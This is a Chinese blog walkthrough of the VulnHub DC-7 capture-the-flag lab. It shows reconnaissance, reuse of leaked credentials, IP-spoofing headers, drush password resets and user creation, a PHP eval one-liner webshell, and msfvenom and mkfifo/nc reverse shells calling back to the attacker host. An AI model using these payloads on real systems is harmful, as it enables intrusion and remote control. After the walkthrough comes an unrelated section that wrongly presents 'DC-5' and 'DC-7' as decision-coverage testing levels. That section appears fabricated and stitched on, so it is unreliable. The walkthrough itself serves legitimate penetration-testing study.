靶机8 DC-7(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-7(包含1个flag)

下载地址:

DC: 7 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-7 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-7和kali在同一网段 | 已知DC-7所在的网段

—— DC-7 IP地址:192.168.108.139/24

3.1信息收集

获取DC-7的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知DC-7的IP地址是:192.168.108.139/24

端口扫描

命令:nmap -sV -p- 192.168.108.139

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.25

3.2    渗透测试

看到这里大致思路就是在获取了一定信息之后可以对ssh进行暴力破解

访问了web之后可以在左下角看到CMS应该就是 Drupal ,但还是识别一下CMS,并且扫描一下目录

CMS识别结果(python3 cmseek.py -u http://dc-7/ ):Drupal 8

目录扫描(dirsearch -u "http://dc-7"  ):

扫到的几个有价值的目录

1、搜索

http://dc-7/search/node

2、404

http://dc-7/forum/install/core/install.php

http://dc-7/wp-admin/core/install.php

3、CMS的升级

http://dc-7/core/install.php

4、一个登录框

http://dc-7/user/login

5、403

http://dc-7/core/

http://dc-7/modules/

http://dc-7/profiles/

http://dc-7/sites/

http://dc-7/sites/

这里根据提示加上每一个打开的页面左下角都有一个作者的标志

猜测会有源码之类的,直接去github看一看

还真的找到了,这里包含了源码文件,有一个配置文件(config.php),看不懂没关系直接翻译

打开之后直接就获得了可能的账号密码(dc7user、MdR3xOgB7#dW)

在登录页面尝试登录失败(这里本来还以为是本地才行,burp抓包修改了ip也不行)

突破登录IP地址限制:

原理:如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器

Client-Ip: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Real-IP: 127.0.0.1

True-Client-IP: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Forwarded-Host: 127.0.0.1

之前不是还有一个ssh服务嘛,尝试ssh登录成功了(dc7user、MdR3xOgB7#dW)

看了一下系统版本比较高,但还是抱着试一试的心态尝试了一下脏牛,结果果然是不行

试一下sudo和suid提权吧

sudo -l #查看可以sudo使用的程序

find / -perm -4000 2>/dev/null #寻找有SUID权限(4000的文件,不显示其他的错误信息相当于过滤

结果,这里并没有看到sudo和suid提权的方式

常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)

突然想起来在尝试脏牛提权的时候下载完成之后显示了收到了一个邮件,并且给出了地址

查看邮件,看看有没有什么敏感信息泄露,打开后看到了root和两个文件的地址

cat /var/mail/dc7user

查看一下 backups.sh 文件

在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql

想着直接改文件路径,但是可惜只有可读和可执行的权限,并不能写文件,想要写入的话还需要获取到webshell,使用www-data的用户权限

解释:

drush是一个shell接口,用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/[drupal_folder_name])

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

drush user-password admin --password="admin"

这就很尴尬,前面尝试次数太多了导致的

使用以下命令创建新用户:

drush user-create root --password "root"

drush user-password root--password="root"

使用root用户登陆成功

在个人信息里面看到了上传图片的地方,做了一个图片马尝试蚁剑连接,结果失败了,burp抓包也没找到可以跨目录存储的地方

还是没有什么办法,重新去登录admin用户

后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装。在官网找到下载链接,下载之后给 DC-7 安装

回到admin的后台管理界面依次点击左上角的manager→extend→install new module,浏览选择刚才的压缩包。

install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块

滚轮下滑找到 php fliter 勾选之后选择安装,安装成功

在Content中添加一句话木马,依次点击:content(内容)→add content→basic page(为静态内容使用基本页面),测试添加<?php phpinfo(); ?>,命名为ceshi。选择format为php code。

挂一句话木马(<?php @eval($_POST['aaa']);?>)

使用蚁剑连接,反弹shell

结果这里发现蚁剑不能使用终端执行命令

这里只能使用php执行实现反弹shell,这里使用php-reverse-shell(自行更改ip和port)

php-reverse-shell(PHP反向外壳)

  • 参考URL:https://pentestmonkey.net/tools/web-shells/php-reverse-shell
  • 此工具专为在渗透测试期间您对运行 PHP 的网络服务器具有上传访问权限的情况而设计。将此脚本上传到 Web 根目录中的某个位置,然后通过在浏览器中访问相应的 URL 来运行它。该脚本将打开从网络服务器到您选择的主机和端口的出站 TCP 连接。绑定到这个 TCP 连接的将是一个 shell。
  • 这将是一个适当的交互式 shell,您可以在其中运行 telnet、ssh 和 su 等交互式程序。它与基于 Web 表单的 shell 不同,后者允许您发送单个命令,然后返回输出。

msfvenom 获取反弹一句话(插入反弹shell的执行语句)

  • msfvenom -l payloads 'cmd/unix/reverse' #我们使用msfvenom-l进行"cmd/uniⅸ/reverse"反弹shelli命令生成payload的内容查询

生成 nc 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

生成 bash 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

尝试:

mkfifo /tmp/eieioac; nc 192.168.108.129 9999 0</tmp/eieioac | /bin/sh >/tmp/eieioac 2>&1; rm /tmp/eieioac

耐心等待backups.sh这个定时任务执行(真的要等一会),因为本来一维一下就反弹的,所以很快换了三个payload,结果发现需要等待执行

点击下方名片,加入GG安全团队,期待师傅们的加入,一起学习一起成长。

### 黑盒测试中的DC-5和DC-7概述 黑盒测试是一种专注于软件功能性的测试方法,它不涉及内部实现细节。在黑盒测试领域,决策表(Decision Table, DT)是一种常用的测试用例设计技术,用于分析复杂的逻辑条件及其对应的操作[^4]。 #### DC-5 (Decision Coverage Level 5) DC-5 是指 **决策覆盖率级别 5**,通常表示对布尔表达式的每种可能取值都进行了至少一次的测试。这意味着对于每一个 `if` 或者类似的控制语句,其真值和假值都被验证了一次。这种级别的覆盖确保了程序中每个分支至少被执行一次。 #### DC-7 (Decision Coverage Level 7) DC-7 则进一步扩展了测试范围,不仅涵盖了所有单个条件的结果,还考虑到了不同条件之间的组合情况。这相当于更高层次的路径覆盖,即不仅要测试单一条件下的行为,还要测试多条件联合时的行为模式。这种方法更接近于完全路径覆盖,但仍然避免了一些极端冗余的情况。 ### 区别与联系 两者的根本差异在于所达到的覆盖程度: - **DC-5** 主要是针对简单分支的覆盖; - 而 **DC-7** 更加深入,涉及到多个条件交互作用后的全面覆盖。 因此可以说,DC-7 是一种更为严格且详尽的测试策略,它可以发现更多潜在缺陷,但也相应增加了测试成本和复杂度。 ### 总结和个人体会 通过对比两种不同的决策覆盖等级可以看出,在实际项目应用过程中需权衡资源投入与收益关系。如果追求极致的质量保障,则应选用较高水平如DC-7这样的方案;但如果时间和预算有限制的话,则可以选择相对基础一点的方式比如DC-5来进行初步筛查工作。 另外值得注意的是,无论采取何种具体措施,保持良好的文档记录习惯以及团队间有效沟通都是非常重要的环节之一。只有这样才能够真正意义上提高整体工作效率并减少后期维护困难等问题的发生几率[^3]。 ```python def test_condition(a, b): if a > 0 and b < 10: # 这里体现了DC-7的概念,因为存在两个条件a>0,b<10的不同组合情形需要被考虑到 return True else: return False ``` 上述代码片段展示了当有两个独立输入参数a和b时,为了满足DC-7的要求,我们需要分别尝试四种可能性:(a正数&b小于十)(a负数&b小于十)(a正数&b大于等于十)还有最后一种就是两者都不符合条件的状态下函数返回值是否正确无误地反映了预期结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值